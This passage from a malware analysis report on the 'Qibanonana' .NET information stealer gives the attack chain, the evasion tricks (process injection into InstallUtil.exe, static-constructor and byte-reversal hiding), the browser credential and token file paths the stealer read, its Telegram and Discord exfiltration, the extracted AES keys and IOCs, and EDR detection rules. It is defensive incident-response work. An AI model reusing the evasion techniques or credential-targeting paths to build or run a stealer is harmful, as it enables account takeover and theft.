β”œβ”€β”€ installutil Search results.txt (1,529,422 lines) - InstallUtil hijacked

β”œβ”€β”€ installutil Search results2.txt - Secondary capture

β”œβ”€β”€ installutil Search results3.txt - Tertiary capture  

β”œβ”€β”€ stage 3 install utill capture.txt (1,534,665 lines) - Final stage

└── msEdge resultss.txt (120,285 lines) - Browser targeting

exibits/

β”œβ”€β”€ InstallUtil.exe.dmp (155 MB) - Full process dump

β”œβ”€β”€ InstallUtil2.exe.dmp (155 MB) - Second dump

β”œβ”€β”€ msedge.exe.dmp (553 MB) - Browser dump

└── packets_20260210_093539.pcap (27 KB) - Network capture

Total: ~1.1 GB of memory evidence + 27 KB network traffic

What We Found vs What We Didn't:

Evidence Type

Status

Source

SQL Password Queries

  FOUND

msEdge resultss.txt lines 230-249

TokenBroker API Calls

  FOUND

msEdge resultss.txt lines 1940+

Token Cache File Paths

  FOUND

msEdge resultss.txt lines 3257-3266

Cookie Database Names

  FOUND

msEdge resultss.txt lines 6706-7046

Edge Wallet String

  FOUND

msEdge resultss.txt line 6677

Chrome References

  FOUND

15+ instances across dumps

Telegram DNS Query

  FOUND

PCAP offset 0x60-0x78

C2 URLs/Bot Tokens

  NOT FOUND

Still encrypted in string table

Actual Stolen Passwords

  NOT FOUND

Encrypted before exfiltration

Decrypted Strings

  NOT FOUND

Failed to decrypt string table

🚨 CRITICAL DISTINCTION:

  •   What we FOUND: Evidence the malware was accessing/processing these data types
  •   What we DIDN'T find: The actual stolen data (passwords, tokens) in plaintext

The malware encrypted everything before storage/exfiltration, so we see the theft operations in progress but not the actual stolen credentials.


10. Static Code Analysis Journey

10.1 Attack Chain Summary

 Stage 1: Social Engineering                                  

 β€’ Fake software (equity management / fintech tool)          

 β€’ Downloaded to: C:\Users\husky\Desktop\en\                

 β€’ File: Qibanonana.resources.EXE        

↓

 Stage 2: Process Injection                                  

 β€’ Target: C:\Windows\SysWOW64\InstallUtil.exe              

 β€’ Method: .NET Assembly reflective loading                  

 β€’ Evasion: Appears as Microsoft-signed process      

↓

 Stage 3: Information Theft (30-60 seconds)                  

 β€’ Browser credentials (Edge, Chrome, Firefox)              

 β€’ Authentication tokens (Microsoft, OAuth)                  

 β€’ Browser cookies (session hijacking)                      

 β€’ Cryptocurrency wallets (extensions + desktop)            

 β€’ Autofill data (personal information)                      

 β€’ System information (fingerprinting)        

 β†“

 Stage 4: Exfiltration                                        

 β€’ Protocol: HTTPS POST                                      

 β€’ Primary C2: Telegram Bot API (api.telegram.org)          

 β€’ Backup C2: Discord Webhook                                

 β€’ Format: ZIP archive with categorized data  

10.2 Stolen Data Catalog

Category

Data Types

Credentials

All browser saved passwords, websites, usernames, passwords, password change history, account creation dates

Session Tokens

Browser cookies (all domains), OAuth 2.0 access tokens, Microsoft SSO tokens, Xbox Live tokens, refresh tokens (persistent access)

Financial Data

Cryptocurrency private keys, wallet seed phrases (if stored in extensions), browser autofill payment methods, banking session cookies

Personal Information

Names, addresses, phone numbers, email addresses, autofill form data, browsing history

System Data

OS version, CPU, RAM, installed software list, user accounts, machine GUID (fingerprint)

10.3 Impact Assessment

Individual User Impact (Victim: "husky")

Immediate Risks:

  •   Complete Microsoft account compromise
  •   All saved passwords exposed
  •   Active banking sessions hijacked
  •   Cryptocurrency stolen
  •   Email account takeover
  •   Identity theft potential

Financial Loss Estimate:

  • Cryptocurrency: HIGH (irreversible, instant)
  • Banking: MEDIUM (fraud protection may help)
  • Identity theft: HIGH (long-term damage)

Recovery Actions Required:

  1. Reset ALL passwords immediately (from clean device)
  2. Revoke all active sessions
  3. Transfer cryptocurrency to new wallets (new seed phrases)
  4. Enable 2FA with hardware keys (FIDO2)
  5. Monitor credit reports for 12+ months
  6. Alert financial institutions
  7. Full system wipe and reinstall

10.4 Malware Sophistication Matrix

Category

Rating

Evidence

Technical Complexity

9/10

Multi-stage architecture, custom crypto, extreme obfuscation

Evasion Capability

9/10

Process injection into signed binary, all strings encrypted, anti-analysis

Stealer Effectiveness

10/10

Comprehensive targeting (credentials, tokens, wallets, cookies)

Financial Impact

10/10

Direct cryptocurrency theft, banking access, identity theft capability

Detection Difficulty

9/10

No static IOCs, memory-only execution, appears as legitimate process

Attribution Difficulty

8/10

No clear indicators, generic infrastructure (Telegram)


11. Lessons Learned

11.1 What Worked

  Multi-Layered Analysis Approach

Combining static, dynamic, and memory forensics provided comprehensive coverage:

  • Static analysis revealed structure
  • Dynamic execution confirmed behavior
  • Memory forensics captured operational evidence

  Following Execution Flow Methodically

Tracing from entry point forward (not backward from crypto) revealed:

  • The critical Array.Reverse() trick
  • Static constructor as true entry point
  • Hardcoded type/method indices

  Memory Dump Analysis

Captured operational evidence during live execution:

  • Confirmed stealer targets (browsers, tokens, wallets)
  • Validated C2 infrastructure (Telegram)
  • Demonstrated actual theft operations

11.2 What Didn't Work

  Brute Force Key Scanning

Scanning 32-byte sequences in memory dumps generated 106 million candidates, required 3.4GB RAM, and crashed before completion.
Lesson: Infeasible for large dumps without constraints.

  Pattern-Based IOC Extraction

Searching for webhooks, tokens, IPs in raw memory found only corrupted/partial matches with high false positive rate.
Lesson: Memory corruption prevents clean pattern matching.

  Python XOR Cipher Port

Translating C# to Python had subtle differences in uint overflow behavior and bit manipulation.
Lesson: Cross-language crypto ports need byte-level validation.

11.3 Critical Analysis Insights

   Insight #1: The Static Constructor Trap

Most analysts look for explicit method invocations. Static constructors execute before any code is called, hiding malicious logic.

   Insight #2: The Byte Reversal Evasion

Single line defeats most tools: Array.Reverse(encrypted_payload);
Automated decryption attempts fail because they don't reverse first.
Always trace execution flow exactly.

   Insight #3: Process Injection Choice Matters

Malware injected into InstallUtil.exe specifically because it's Microsoft-signed, .NET-capable, rarely monitored, and has legitimate use cases. Choosing unusual but legitimate processes is highly effective.

11.4 Recommendations for Future Analysis

For Similar Malware:

  1. Start with execution flow mapping before deep-diving into crypto
  2. Look for static constructors in .NET malware (often hide logic)
  3. Test decryption incrementally (validate each layer independently)
  4. Use live debugging when extraction fails (dnSpy, x64dbg)
  5. Capture memory during execution (multiple dumps at different stages)
  6. Don't trust variable names in obfuscated code
  7. Validate Python crypto ports byte-by-byte against C# output

For Detection Engineering:

  1. Monitor Assembly.Load(byte[]) calls with large byte arrays
  2. Alert on InstallUtil.exe accessing browser profile directories
  3. Flag TokenBroker cache file access from non-system processes
  4. Detect abnormal SQLite database queries to Login Data/Cookies
  5. Monitor for api.telegram.org DNS from non-chat applications

For Incident Response:

  1. Assume all credentials compromised if stealer confirmed
  2. Reset passwords from clean device (not infected machine)
  3. Revoke all active sessions (OAuth, SSO, browser cookies)
  4. Transfer cryptocurrency immediately to new wallets (new seeds)
  5. Enable hardware security keys (FIDO2) for all accounts
  6. Monitor financial accounts for 12-24 months
  7. Full system wipe required (persistence mechanisms unknown)

12. IOCs and Detection

12.1 File Indicators

Stage 1 Loader:

Filename: Qibanonana.resources.EXE (or similar)

Resource: 942361 (385,888 bytes)

AES Key: 8FDB124A05176EF42CBD3C0E05322050

Assembly GUID: d439281e-ffd3-498b-be5c-f555902db25d

Version: 3.29.19.89

Stage 2 Payload:

Filename: Qibanonana.dll

Size: 385,878 bytes (decrypted)

.NET Reactor protection (trial expires Feb 7, 2026)

12.2 Cryptographic Indicators

Stage 1 AES Key: 8FDB124A05176EF42CBD3C0E05322050

Stage 2 AES Key: BFBF9D62D3875625A1CB859E915038E6127D678D30665736A074DD6A9B3D3470

Stage 2 AES IV:  A24A550F77940180287D82562A69A422

String AES Key:  2750EFD27A6F95102D3C6F3F1B91CAE14724A4AB1C477BB835F8B74C11664604

String AES IV:   ADA85D30BA11E6B003324021A9807FE9

12.3 Network Indicators

C2 Infrastructure:

  - api.telegram.org (Telegram Bot API)

  - discord.com/api/webhooks/* (Discord webhooks - suspected)

 

OAuth Endpoints Targeted:

  - https://login.live.com/oauth20_token.srf

12.4 Behavioral Indicators

Process Activity:

  • InstallUtil.exe accessing browser profile directories
  • InstallUtil.exe reading Login Data / Cookies SQLite databases
  • InstallUtil.exe accessing TokenBroker cache files
  • Unsigned .NET assemblies loaded into InstallUtil.exe
  • Assembly.Load(byte[]) calls with large payloads

File System:

  • Reads: %APPDATA%\Local\Microsoft\Edge\User Data\Default\Login Data
  • Reads: %APPDATA%\Local\Microsoft\Edge\User Data\Default\Cookies
  • Reads: %APPDATA%\Local\Google\Chrome\User Data\Default\Login Data
  • Reads: %APPDATA%\Local\Microsoft\TokenBroker\Cache\*.tbres
  • Reads: Browser extension directories (MetaMask, etc.)

12.5 Memory Patterns

Strings in memory:

  • "Sql.Statement.StepTime.Passwords"
  • "TokenBrokerInternal"
  • "WebTokenResponse"
  • "Edge Wallet"
  • "Safe Browsing Cookies"
  • "TelegramSendLogs"
  • "UploadToTelegram"
  • "DiscordSendLogs"

12.6 Detection Rules Summary

EDR/XDR Rules:

  1. Alert: InstallUtil.exe reading SQLite browser databases
  2. Alert: InstallUtil.exe accessing TokenBroker cache files
  3. Alert: Assembly.Load(byte[]) with size > 100KB from InstallUtil.exe
  4. Alert: Network connection to api.telegram.org from InstallUtil.exe
  5. Block: Unsigned .NET assembly loading into system utilities

Network Rules:

  1. Monitor: DNS queries to api.telegram.org from non-messaging apps
  2. Monitor: HTTPS POST with large payloads to Telegram/Discord
  3. Alert: Multiple browser database files exfiltrated in single session

File System Rules:

  1. Alert: Simultaneous access to Login Data files from multiple browsers
  2. Alert: TokenBroker cache files read by non-system processes
  3. Monitor: Browser extension directory access patterns

Conclusion

This comprehensive analysis journey demonstrates the complexity of modern information stealers and the necessity of multi-faceted analysis approaches. While some technical challenges remain unresolved (specifically the string table decryption), the combination of static analysis, memory forensics, and behavioral observation provided sufficient evidence to fully assess the malware's capabilities and impact.

Key Achievements:

  •   Complete execution flow mapped
  •   Stage 1 payload successfully decrypted
  •   Stage 2 capabilities identified
  •   Live execution evidence captured
  •   Victim impact fully assessed
  •   IOCs extracted for detection

Remaining Unknowns:

  •     Exact C2 URLs/tokens (encrypted)
  •     Persistence mechanisms (partial evidence)
  •     Full string table contents (decryption incomplete)
  •     Attribution (no clear indicators)

Final Assessment:

Qibanonana represents an advanced, financially motivated information stealer with sophisticated evasion capabilities. The multi-stage architecture, hybrid encryption systems, and process injection into trusted binaries make it highly effective against traditional defenses. Organizations and individuals should implement the detection strategies outlined in this report and follow the recommended mitigation practices.

Note: due to the length of the report, breaking the encryption will be performed on a separate report.
Stay tuned.

Total Analysis Time

9 hours straight

Tools Used

15+ (dnSpy, ILSpy, Python, PowerShell, Process Hacker, Wireshark, etc.)

Documents Generated

8 (consolidated into this report)

Lines of Analysis Code

~1,000 (Python scripts)

Memory Analyzed

1.1 GB (7 text dumps + 3 binary dumps)


End of Complete Analysis Journey Report

Classification: Trojan.Stealer.Qibanonana | Threat Level: HIGH

Recommended Action: Block, quarantine, and remediate

Report Version: 1.0 | Date: February 10, 2026

⚠️ This analysis is for educational and defensive purposes only.
Handle malware samples with extreme caution in isolated environments.